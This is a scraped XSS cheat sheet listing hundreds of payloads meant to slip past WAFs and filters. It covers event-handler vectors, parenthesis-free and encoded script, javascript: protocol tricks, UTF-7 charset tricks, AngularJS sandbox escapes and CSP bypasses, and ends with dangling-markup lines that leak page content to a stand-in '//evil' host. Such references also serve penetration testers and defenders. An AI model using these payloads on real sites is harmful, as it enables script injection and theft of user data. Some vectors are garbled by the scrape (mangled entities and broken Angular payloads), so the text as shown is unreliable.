

## Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2020. Last updated: Tue, 14 Jan 2020 15:56:36 +0000.

### Event handlers

#### Event handlers that do not require user interaction

Event: Description: Code:

##### onactivate

Compatibility: Fires when the element is activated <a id=x tabindex=1 onactivate=alert(1)></a>



##### onafterprint

Compatibility: Fires after the page is printed <body onafterprint=alert(1)>



##### onanimationcancel

Compatibility: Fires when a CSS animation cancels <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a>



##### onanimationend

Compatibility: Fires when a CSS animation ends <style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>



##### onanimationiteration

Compatibility: Fires when a CSS animation repeats <style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>



##### onanimationstart

Compatibility: Fires when a CSS animation starts <style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>



##### onbeforeactivate

Compatibility: Fires before the element is activated <a id=x tabindex=1 onbeforeactivate=alert(1)></a>



##### onbeforedeactivate

Compatibility: Fires before the element is deactivated <a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>



##### onbeforeprint

Compatibility: Fires before the page is printed <body onbeforeprint=alert(1)>



##### onbeforeunload

Compatibility: Fires after if the url changes <body onbeforeunload="location='javascript:alert(1)'">



##### onbegin

Compatibility: Fires when a svg animation begins <svg><animate onbegin=alert(1) attributeName=x dur=1s>



##### onblur

Compatibility: Fires when an element loses focus <a onblur=alert(1) tabindex=1 id=x></a><input autofocus>



## onbounce

Compatibility:  


Fires when the marquee bounces

```
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
```

## oncanplay

Compatibility:  


Fires if the resource can be played

```
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

## oncanplaythrough

Compatibility:  


Fires when enough data has been loaded to play the resource all the way through

```
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
```

## ondeactivate

Compatibility:  


Fires when the element is deactivated

```
<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>
```

## onend

Compatibility:  


Fires when a svg animation ends

```
<svg><animate onend=alert(1) attributeName=x dur=1s>
```

## onended

Compatibility:  


Fires when the resource is finished playing

```
<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

## onerror

Compatibility:  


Fires when the resource fails to load or causes an error

```
<audio src/onerror=alert(1)>
```

## onfinish

Compatibility:  


Fires when the marquee finishes

```
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
```

## onfocus

Compatibility:  


Fires when the element has focus

```
<a id=x tabindex=1 onfocus=alert(1)></a>
```

## onfocusin

Compatibility:  


Fires when the element has focus

```
<a id=x tabindex=1 onfocusin=alert(1)></a>
```

## onfocusout

Compatibility:  


Fires when an element loses focus

```
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
```

## onhashchange

Compatibility:  


Fires if the hash changes

```
<body onhashchange="alert(1)">
```

## onload

Compatibility:  


Fires when the element is loaded

```
<svg><a onload=alert(1)></a>
```

## onloadeddata

Compatibility:  


Fires when the first frame is loaded

```
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

## onloadedmetadata

Compatibility:  


Fires when the meta data is loaded

```
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>
```

## onloadend

Compatibility:

Fires when the element finishes loading

```
<image src=validimage.png onloadend=alert(1)>
```



### onloadstart

Compatibility:



Fires when the element begins to load

```
<image src=validimage.png onloadstart=alert(1)>
```

### onmessage

Compatibility:



Fires when message event is received from a postMessage call

```
<body onmessage=alert(1)>
```

### onpageshow

Compatibility:



Fires when the page is shown

```
<body onpageshow=alert(1)>
```

### onplay

Compatibility:



Fires when the resource is played

```
<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

### onplaying

Compatibility:



Fires the resource is playing

```
<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

### onpopstate

Compatibility:



Fires when the history changes

```
<body onpopstate=alert(1)>
```

### onreadystatechange

Compatibility:



Fires when the ready state changes

```
<applet onreadystatechange=alert(1)></applet>
```

### onrepeat

Compatibility:



Fires when a svg animation repeats

```
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
```

### onresize

Compatibility:



Fires when the window is resized

```
<body onresize="alert(1)">
```

### onscroll

Compatibility:



Fires when the page scrolls

```
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
```

### onstart

Compatibility:



Fires when the marquee starts

```
<marquee onstart=alert(1)>XSS</marquee>
```

### ontimeupdate

Compatibility:



Fires when the timeline is changed

```
<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

### ontoggle

Compatibility:



Fires when the details tag is expanded

```
<details ontoggle=alert(1) open>test</details>
```

### ontransitioncancel

Compatibility:



Fires when a CSS transition cancels

```
<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a>
```

### ontransitionend

Compatibility:



Fires when a CSS transition ends

```
<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a>
```

## ontransitionrun

Compatibility:	Fires when a CSS transition begins	<pre>&lt;style&gt;:target {transform: rotate(180deg);}&lt;/style&gt;&lt;a id=x style="transition:transform 2s" ontransitionrun=alert(1)&gt;&lt;/a&gt;</pre>
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## onunhandledrejection

Compatibility:	Fires when a promise isn't handled	<pre>&lt;body onunhandledrejection=alert(1)&gt;&lt;script&gt;fetch('//xyz')&lt;/script&gt;</pre>
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## onwaiting

Compatibility:	Fires when while waiting for the data	<pre>&lt;video autoplay controls onwaiting=alert(1)&gt;&lt;source src="validvideo.mp4" type=video/mp4&gt;&lt;/video&gt;</pre>
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## Event handlers that do require user interaction

Event: Description: Code:

### onauxclick

Compatibility:	Fires when right clicking or using the middle button of the mouse	<pre>&lt;input onauxclick=alert(1)&gt;</pre>
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### onbeforecopy

Compatibility:	Requires you copy a piece of text	<pre>&lt;a onbeforecopy="alert(1)" contenteditable&gt;test&lt;/a&gt;</pre>
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### onbeforecut

Compatibility:	Requires you cut a piece of text	<pre>&lt;a onbeforecut="alert(1)" contenteditable&gt;test&lt;/a&gt;</pre>
----------------	----------------------------------	---

### onbeforepaste

Compatibility:	Requires you paste a piece of text	<pre>&lt;a onbeforepaste="alert(1)" contenteditable&gt;test&lt;/a&gt;</pre>
----------------	------------------------------------	---

### onchange

Compatibility:	Requires as change of value	<pre>&lt;input onchange=alert(1) value=xss&gt;</pre>
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### onclick

Compatibility:	Requires a click of the element	<pre>&lt;a onclick="alert(1)"&gt;test&lt;/a&gt;</pre>
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### oncontextmenu

Compatibility:	Triggered when right clicking to show the context menu	<pre>&lt;a oncontextmenu="alert(1)"&gt;test&lt;/a&gt;</pre>
----------------	--	---

### oncopy

Compatibility:	Requires you copy a piece of text	<pre>&lt;a oncopy="alert(1)" contenteditable&gt;test&lt;/a&gt;</pre>
----------------	-----------------------------------	--

### oncut

Compatibility:	Requires you cut a piece of text	<pre>&lt;a oncut="alert(1)" contenteditable&gt;test&lt;/a&gt;</pre>
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### ondblclick

Compatibility:	Triggered when double clicking the element	<pre>&lt;a ondblclick="alert(1)"&gt;test&lt;/a&gt;</pre>
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### ondrag

Compatibility:	Triggered dragging the element	<pre>&lt;a draggable="true" ondrag="alert(1)"&gt;test&lt;/a&gt;</pre>
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### ondragend

Compatibility:	Triggered dragging is finished on the	<pre>&lt;a draggable="true" ondragend="alert(1)"&gt;test&lt;/a&gt;</pre>
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element

**ondragenter**

Compatibility:



Requires a mouse drag

`<a draggable="true" ondragenter="alert(1)">test</a>`**ondragleave**

Compatibility:



Requires a mouse drag

`<a draggable="true" ondragleave="alert(1)">test</a>`**ondragover**

Compatibility:



Triggered dragging over an element

`<div draggable="true" contenteditable>drag me</div><a ondragover="alert(1)" contenteditable>drop here</a>`**ondragstart**

Compatibility:



Requires a mouse drag

`<a draggable="true" ondragstart="alert(1)">test</a>`**ondrop**

Compatibility:



Triggered dropping a draggable element

`<div draggable="true" contenteditable>drag me</div><a ondrop="alert(1)" contenteditable>drop here</a>`**oninput**

Compatibility:



Requires as change of value

`<input oninput="alert(1)" value=xss>`**oninvalid**

Compatibility:



Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

`<form><input oninvalid="alert(1) required"><input type=submit>`**onkeydown**

Compatibility:



Triggered when a key is pressed

`<a onkeydown="alert(1)" contenteditable>test</a>`**onkeypress**

Compatibility:



Triggered when a key is pressed

`<a onkeypress="alert(1)" contenteditable>test</a>`**onkeyup**

Compatibility:



Triggered when a key is released

`<a onkeyup="alert(1)" contenteditable>test</a>`**onmousedown**

Compatibility:



Triggered when the mouse is pressed

`<a onmousedown="alert(1)">test</a>`**onmouseenter**

Compatibility:



Triggered when the mouse is hovered over the element

`<a onmouseenter="alert(1)">test</a>`**onmouseleave**

Compatibility:



Triggered when the mouse is moved away from the element

`<a onmouseleave="alert(1)">test</a>`**onmousemove**

Compatibility:



Requires mouse movement

`<a onmousemove="alert(1)">test</a>`**onmouseout**

Compatibility:



Triggered when the mouse is moved away from the element

`<a onmouseout="alert(1)">test</a>`

## onmouseover

Compatibility:

Requires a hover over the element

```
<a onmouseover="alert(1)">test</a>
```

## onmouseup

Compatibility:

Triggered when the mouse button is released

```
<a onmouseup="alert(1)">test</a>
```

## onpaste

Compatibility:

Requires you paste a piece of text

```
<a onpaste="alert(1)" contenteditable>test</a>
```

## onpause

Compatibility:

Requires clicking the element to pause

```
<audio autoplay controls onpause="alert(1)"><source src="validaudio.wav" type="audio/wav"></audio>
```

## onpointerover

Compatibility:

Fires when the mouseover

```
<a onpointerover="alert(1)">XSS</a>
```

## onpointerdown

Compatibility:

Fires when the mouse down

```
<a onpointerdown="alert(1)">XSS</a>
```

## onpointerenter

Compatibility:

Fires when the mouseenter

```
<a onpointerenter="alert(1)">XSS</a>
```

## onpointerleave

Compatibility:

Fires when the mouseleave

```
<a onpointerleave="alert(1)">XSS</a>
```

## onpointermove

Compatibility:

Fires when the mouse move

```
<a onpointermove="alert(1)">XSS</a>
```

## onpointerout

Compatibility:

Fires when the mouse out

```
<a onpointerout="alert(1)">XSS</a>
```

## onpointerup

Compatibility:

Fires when the mouse up

```
<a onpointerup="alert(1)">XSS</a>
```

## onreset

Compatibility:

Requires a click

```
<form onreset="alert(1)"><input type=reset>
```

## onsearch

Compatibility:

Fires when a form is submitted and the input has a type attribute of search

```
<form><input type=search onsearch="alert(1)" value="Hit return" autofocus>
```

## onseeked

Compatibility:

Requires clicking the element timeline

```
<audio autoplay controls onseeked="alert(1)"><source src="validaudio.wav" type="audio/wav"></audio>
```

## onseeking

Compatibility:

Requires clicking the element timeline

```
<audio autoplay controls onseeking="alert(1)"><source src="validaudio.wav" type="audio/wav"></audio>
```

## onselect

Compatibility:

Requires you select text

```
<input onselect="alert(1)" value="XSS" autofocus>
```

## onsubmit

Compatibility:

Requires a form submission

```
<form onsubmit=alert(1)><input type=submit>
```

## ontouchstart

Compatibility:

Fires when the touch screen, only mobile device

```
<body ontouchstart=alert(1)>
```

## ontouchend

Compatibility:

Fires when the touch screen, only mobile device

```
<body ontouchend=alert(1)>
```

## ontouchmove

Compatibility:

Fires when the touch screen and move, only mobile device

```
<body ontouchmove=alert(1)>
```

## onunload

Compatibility:

Requires a click anywhere on the page and a reload

```
<svg onunload>window.open('javascript:alert(1)')>
```

## onvolumechange

Compatibility:

Requires volume adjustment

```
<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

## onwheel

Compatibility:

Fires when you use the mouse wheel

```
<body onwheel=alert(1)>
```

## Restricted characters

### No parentheses using exception handling

```
<script>onerror=alert;throw 1</script>
```

### No parentheses using exception handling no semi colons

```
<script>{onerror=alert}throw 1</script>
```

### No parentheses using exception handling no semi colons using expressions

```
<script>throw onerror=alert,1</script>
```

### No parentheses using exception handling and eval

```
<script>throw onerror=eval,'=alert\x281\x29'</script>
```

### No parentheses using exception handling and eval on Firefox

```
<script>
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
```

### No parentheses using ES6 hasInstance and instanceof with eval

```
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
```

### No parentheses using ES6 hasInstance and instanceof with eval without .

```
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
```

### No parentheses using location redirect

```
<script>location='javascript:alert\x281\x29'</script>
```

### No parentheses using location redirect no strings

```
<script>location=name</script>
```

### No parentheses using template strings

```
<script>alert`1`</script>
```

### No parentheses using template strings and location hash

```
<script>new Function`X${document.location.hash.substr`1`}`</script>
```

No parentheses or spaces, using template strings and location hash

```
<script>Function`X${document.location.hash.substr`1`}``</script>
```

## Frameworks

Bootstrap onanimationstart event

```
<xss class=progress-bar-animated onanimationstart=alert(1)>
```

Bootstrap ontransitionend event

```
<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class="carousel-inner"><xss class="carousel-item active"></xss><xss class="carousel-item"></xss></xss></xss>
```

## Protocols

Iframe src attribute JavaScript protocol

```
<iframe src="javascript:alert(1)">
```

Object data attribute with JavaScript protocol

```
<object data="javascript:alert(1)">
```

Embed src attribute with JavaScript protocol

```
<embed src="javascript:alert(1)">
```

A standard JavaScript protocol

```
<a href="javascript:alert(1)">XSS</a>
```

The protocol is not case sensitive

```
<a href="JaVaScript:alert(1)">XSS</a>
```

Characters \x01-\x20 are allowed before the protocol

```
<a href=" " javascript:alert(1)">XSS</a>
```

Characters \x09,\x0a,\x0d are allowed inside the protocol

```
<a href="javas cript:alert(1)">XSS</a>
```

Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

```
<a href="javascript :alert(1)">XSS</a>
```

Xlink namespace inside SVG with JavaScript protocol

```
<svg><a xlink:href="javascript:alert(1)"><text x=="20" y=="20">XSS</text></a>
```

SVG animate tag using values

```
<svg><animate xlink:href="#xss attributeName:href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```

SVG animate tag using to

```
<svg><animate xlink:href="#xss attributeName:href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>
```

SVG set tag

```
<svg><set xlink:href="#xss attributeName:href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```

Data protocol inside script src

```
<script src="data:text/javascript,alert(1)"></script>
```

SVG script href attribute without closing script tag

```
<svg><script href="data:text/javascript,alert(1)" />
```

SVG use element Chrome/Firefox

```
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
```

Import statement with data URL

```
<script>import('data:text/javascript,alert(1)')</script>
```

Base tag with JavaScript protocol rewriting relative URLs

```
<base href="javascript:/a/-alert(1)////////"><a href=../lol/safari.html>test</a>
```

<b>Button and formaction</b>	<form><button formaction=javascript:alert(1)>XSS
<b>Input and formaction</b>	<form><input type=submit formaction=javascript:alert(1) value=XSS>
<b>Form and action</b>	<form action=javascript:alert(1)><input type=submit value=XSS>
<b>Isindex and formaction</b>	<isindex type=submit formaction=javascript:alert(1)>
<b>Isindex and action</b>	<isindex type=submit action=javascript:alert(1)>
<b>Use element with an external URL</b>	<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>

**Other useful attributes**

<b>Using srcdoc attribute</b>	<iframe srcdoc=<img src=1 onerror=alert(1)>></iframe>
<b>Using srcdoc with entities</b>	<iframe srcdoc=&lt;img src=1 onerror=alert(1)&gt;></iframe>
<b>Click a submit element from anywhere on the page, even outside the form</b>	<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
<b>Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements</b>	<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
<b>Link elements: Access key attributes can enable XSS on normally unexploitable elements</b>	<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
<b>Download attribute can save a copy of the current webpage</b>	<a href="#" download="filename.html">Test</a>
<b>Disable referrer using referrerpolicy</b>	
<b>Set window.name via parameter on the window.open function</b>	<a href="#" onclick="window.open('http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//','alert(1)')>XSS</a>
<b>Set window.name via name attribute in a &lt;iframe&gt; tag</b>	<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>
<b>Set window.name via target attribute in a &lt;base&gt; tag</b>	<base target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in base tag</a>
<b>Set window.name via target attribute in a &lt;a&gt; tag</b>	<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in a tag</a>
<b>Set window.name via usemap attribute in a &lt;img&gt; tag</b>	<map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>
<b>Set window.name via target attribute in a &lt;form&gt; tag</b>	<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value='';eval(name)//'><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>
<b>Set window.name via formtarget attribute in a &lt;input&gt; tag type submit</b>	<form><input type=hidden name=x value='';eval(name)//'><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php">

```
formtarget="alert(1)" value="XSS via formtarget in input type submit">
</form>
```

#### Set window.name via formtarget attribute in a <input> tag type image

```
<form><input type=hidden name=x value='';eval(name)//'><input type=hidden
name=context value=js_string_single><input name=1 type="image"
src="validimage.png" formaction="http://subdomain1.portswigger-
labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in
input type image"></form>
```

## Special tags

#### Redirect to a different domain

```
<meta http-equiv="refresh" content="0; url=/portswigger-labs.net">
```

#### Meta charset attribute UTF-7

```
<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

#### Meta charset UTF-7

```
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-
script+AD4-alert(1)+ADw-/script+AD4-
```

#### UTF-7 BOM characters (Has to be at the start of the document) 1

```
+/v8
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

#### UTF-7 BOM characters (Has to be at the start of the document) 2

```
+/v9
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

#### UTF-7 BOM characters (Has to be at the start of the document) 3

```
+/v+
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

#### UTF-7 BOM characters (Has to be at the start of the document) 4

```
+/v/
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

#### Upgrade insecure requests

```
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-
requests">
```

#### Disable JavaScript via iframe sandbox

```
<iframe sandbox src="/portswigger-labs.net"></iframe>
```

#### Disable referer

```
<meta name="referrer" content="no-referrer">
```

## Encoding

#### Overlong UTF-8

```
%C0%BCscript>alert(1)</script>
%E0%80%BCscript>alert(1)</script>
%F0%80%80%BCscript>alert(1)</script>
%F8%80%80%80%BCscript>alert(1)</script>
%FC%80%80%80%80%BCscript>alert(1)</script>
```

#### Unicode escapes

```
<script>\u0061ert(1)</script>
```

#### Unicode escapes ES6 style

```
<script>\u{61}lert(1)</script>
```

#### Unicode escapes ES6 style zero padded

```
<script>\u{0000000061}lert(1)</script>
```

#### Hex encoding JavaScript escapes

```
<script>eval('\'x61lert(1)')</script>
```

#### Octal encoding

```
<script>eval('\'141lert(1)')</script>
<script>eval('alert(\061)')</script>
<script>eval('alert(\61)')</script>
```

#### Decimal encoding with optional semi-colon

```
<a href="#106;avascript:alert(1)">XSS</a><a
href="#106avascript:alert(1)">XSS</a>
```

#### SVG script with HTML encoding

```
<svg><script>#31;lert(1)</script></svg>
<svg><script>#x61;lert(1)</script></svg>
```

	<svg><script>alert&NewLine;(1)</script></svg> <svg><script>x="";alert(1)//";</script></svg>
Decimal encoding with padded zeros	<a href="#0000106avascript:alert(1)">XSS</a>
Hex encoding entities	<a href="#x6a;avascript:alert(1)">XSS</a>
Hex encoding without semi-colon provided next character is not a-f0-9	<a href="j&x61vascript:alert(1)">XSS</a> <a href="#x6a avascript:alert(1)">XSS</a> <a href="#x6a avascript:alert(1)">XSS</a>
Hex encoding with padded zeros	<a href="#x0000006a;avascript:alert(1)">XSS</a>
Hex encoding is not case sensitive	<a href="#X6A;avascript:alert(1)">XSS</a>
HTML entities	<a href="javascript&colon;alert(1)">XSS</a> <a href="java&Tab;script:alert(1)">XSS</a> <a href="java&NewLine;script:alert(1)">XSS</a> <a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>
URL encoding	<a href="javascript:x='%27-alert(1)-%27'">XSS</a>
HTML entities and URL encoding	<a href="javascript:x='&percnt;27-alert(1)-%27'">XSS</a>

Obfuscation	
Firefox allows NULLs after &	<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>
Firefox allows NULLs inside named entities	<a href="javascript&colon;alert(1)">Firefox</a>
Firefox allows NULL characters inside opening comments	<!-- ><img title="--><iframe/onload=alert(1)>"> --> <!-- ><img title="--><iframe/onload=alert(1)>"> -->
Data protocol inside script src with base64	<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>

Client-side template injection			
AngularJS sandbox escapes reflected			
Version:	Author:	Length:	Vector:
1.0.1 - 1.1.5	Mario Heiderich (Cure53)	41	{}{{constructor.constructor('alert(1'))()}}
1.0.1 - 1.1.5 (shorter)	Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)	33	{}{{\$on.constructor('alert(1'))()}}
1.2.0 - 1.2.1	Jan Horn (Google)	122	{}{{a='constructor';b={} ;a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1')())}}
1.2.2 - 1.2.5	Gareth Heyes (PortSwigger)	23	{}{{{}."")));alert(1)//"}}
1.2.6 - 1.2.18	Jan Horn (Google)	106	{}{{(_=_'.sub).call.call({\$='constructor'].getOwnPropertyDescriptor(_.__proto__,\$).value,0,'alert(1')())}}
1.2.19 - 1.2.23	Mathias Karlsson (Detectify)	124	{}{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29	<b>Gareth Heyes</b> (PortSwigger)	23	<code>{}{}."));alert(1)//"}}</code>
1.2.27- 1.2.29/1.3.0- 1.3.20	<b>Gareth Heyes</b> (PortSwigger)	23	<code>{}{}."));alert(1)//"}}</code>
1.3.0	<b>Gábor Molnár</b> (Google)	272	<code>{}!ready &amp;&amp; (ready = true) &amp;&amp; (!call ? \$\$watchers[0].get(toString.constructor.prototype) : (a = apply) &amp;&amp; (apply = constructor) &amp;&amp; (valueOf = call) &amp;&amp; (('+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' )));}}</code>
1.3.3 - 1.3.18	<b>Gareth Heyes</b> (PortSwigger)	128	<code>{}{}[{{toString:[].join,length:1,0:'__proto__'}}].assign=[].join;'a'.constructor.prototype.charAt=[].join;\$eval('x=alert(1)//'))}</code>
1.3.19	<b>Gareth Heyes</b> (PortSwigger)	102	<code>{}{'a'[[{toString:false,valueOf:[].join,length:1,0:'__proto__'}}].charAt=[].join;\$eval('x=alert(1)//'))}</code>
1.3.20	<b>Gareth Heyes</b> (PortSwigger)	65	<code>{}{'a'.constructor.prototype.charAt=[].join;\$eval('x=alert(1)'))}</code>
1.4.0 - 1.4.9	<b>Gareth Heyes</b> (PortSwigger)	74	<code>{}{'a'.constructor.prototype.charAt=[].join;\$eval('x=1} } ;alert(1)//'))}</code>
1.5.0 - 1.5.8	<b>Ian Hickey &amp; Gareth Heyes</b> (PortSwigger)	79	<code>{}{x={'y':''.constructor.prototype};x['y'].charAt=[].join;\$eval('x=alert(1)'))}</code>
1.5.9 - 1.5.11	<b>Jan Horn</b> (Google)	517	<code>{} c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.\$apply=\$apply;c.\$eval=b;op=\$root.\$\$phase; \$root.\$\$phase=null;od=\$root.\$digest;\$root.\$digest=({}).toString; C=c.\$apply(c);\$root.\$\$phase=op;\$root.\$digest=od; B=C(b,c,b);\$evalAsync("astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1))+)'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B(\$\$asyncQueue.pop().expression,null,\$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; \$eval('a(b.c)');[].push.apply=a; }}</code>
>=1.6.0	<b>Mario Heiderich</b> (Cure53)	41	<code>{}{constructor.constructor('alert(1')())}</code>
>=1.6.0 (shorter)	<b>Gareth Heyes</b> (PortSwigger) & <b>Lewis Ardern</b> (Synopsys)	33	<code>{}{\$on.constructor('alert(1')())}</code>

### DOM based AngularJS sandbox escapes (Using orderBy or no \$eval)

Version:	Author:	Length:	Vector:
1.0.1 - 1.1.5	<b>Mario Heiderich</b> (Cure53)	37	<code>constructor.constructor('alert(1')())</code>
1.2.0 - 1.2.18	<b>Jan Horn</b> (Google)	118	<code>a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub)),a).value,0,'alert(1')()')</code>
1.2.19 - 1.2.23	<b>Mathias Karlsson</b> (Detectify)	119	<code>toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)</code>
1.2.24 - 1.2.26	<b>Gareth Heyes</b> (PortSwigger)	317	<code>{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']], 'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}''.__proto__']</code>

			[ 'z' ] ; d( '' . sub[ [ '__proto__' ] ] , ' constructor ' , { value : false } ) ; {} [ [ '__proto__' ] ] [ 'y' ]. value ( ' alert(1)' ) ( )
1.2.27- 1.2.29/1.3.0- 1.3.20	Gareth Heyes (PortSwigger)	20	{ } . " ) ) ; alert(1) // ";
1.4.0-1.4.5	Gareth Heyes (PortSwigger)	75	' a ' . constructor . prototype . charAt = [ ] . join ; [ 1 ]   orderBy : ' x = 1 ' } } ; alert(1) // ' ;
>=1.6.0	Mario Heiderich (Cure53)	37	constructor . constructor ( ' alert(1)' ) ( )
1.4.4 (without strings)	Gareth Heyes (PortSwigger)	134	toString ( ) . constructor . prototype . charAt = [ ] . join ; [ 1 , 2 ]   orderBy : toString ( ) . constructor . fromCharCode ( 120 , 61 , 97 , 108 , 101 , 11 4 , 116 , 40 , 49 , 41 )

## AngularJS CSP bypasses

Version:	Author:	Length:	Vector:
All versions (Chrome)	Gareth Heyes (PortSwigger)	81	<input autofocus ng- focus="\$event.path orderBy:[].constructor.from([1],alert)">
All versions (Chrome) shorter	Gareth Heyes (PortSwigger)	56	<input id=x ng-focus=\$event.path orderBy:'(z=alert)(1)'>
All versions (all browsers) shorter	Gareth Heyes (PortSwigger)	91	<input autofocus ng- focus="\$event.composedPath() orderBy:[].constructor.from([1],alert)">
1.2.0 - 1.5.0	Eduardo Vela (Google)	190	<div ng-app ng-csp><div ng-focus="x=\$event;" id=f tabindex=0>foo</div> <div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'"> {} [1].reduce(value.alert, 1); {}</div></div></div>

## Scriptless attacks

### Dangling markup

Background attribute	<body background="//evil? <table background="//evil? <table><thead background="//evil? <table><tbody background="//evil? <table><tfoot background="//evil? <table><td background="//evil? <table><th background="//evil?
Link href stylesheet	<link rel=stylesheet href="//evil?
Link href icon	<link rel=icon href="//evil?
Meta refresh	<meta http-equiv="refresh" content="0; http://evil?
Img to pass markup through src attribute	<track default src="//evil?
Video using source element and src attribute	<video><source src="//evil?
Audio using source element and src attribute	<audio><source src="//evil?
Input src	<input type=image src="//evil?

<b>Button using formaction</b>	<form><button style="width:100%;height:100%" type=submit formaction="//evil?"
<b>Input using formaction</b>	<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?"
<b>Form using action</b>	<button form=x style="width:100%;height:100%;"><form id=x action="//evil?"
<b>Isindex using src attribute</b>	<isindex type=image src="//evil?"
<b>Isindex using submit</b>	<isindex type=submit style="width:100%;height:100%; value=XSS formaction="//evil?"
<b>Object data</b>	<object data="//evil?"
<b>Iframe src</b>	<iframe src="//evil?"
<b>Embed src</b>	<embed src="//evil?"
<b>Use textarea to consume markup and post to external site</b>	<form><button formaction="//evil">XSS</button><textarea name=x>
<b>Pass markup data through window.name using form target</b>	<button form=x>XSS</button><form id=x action="//evil target='"
<b>Pass markup data through window.name using base target</b>	<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="
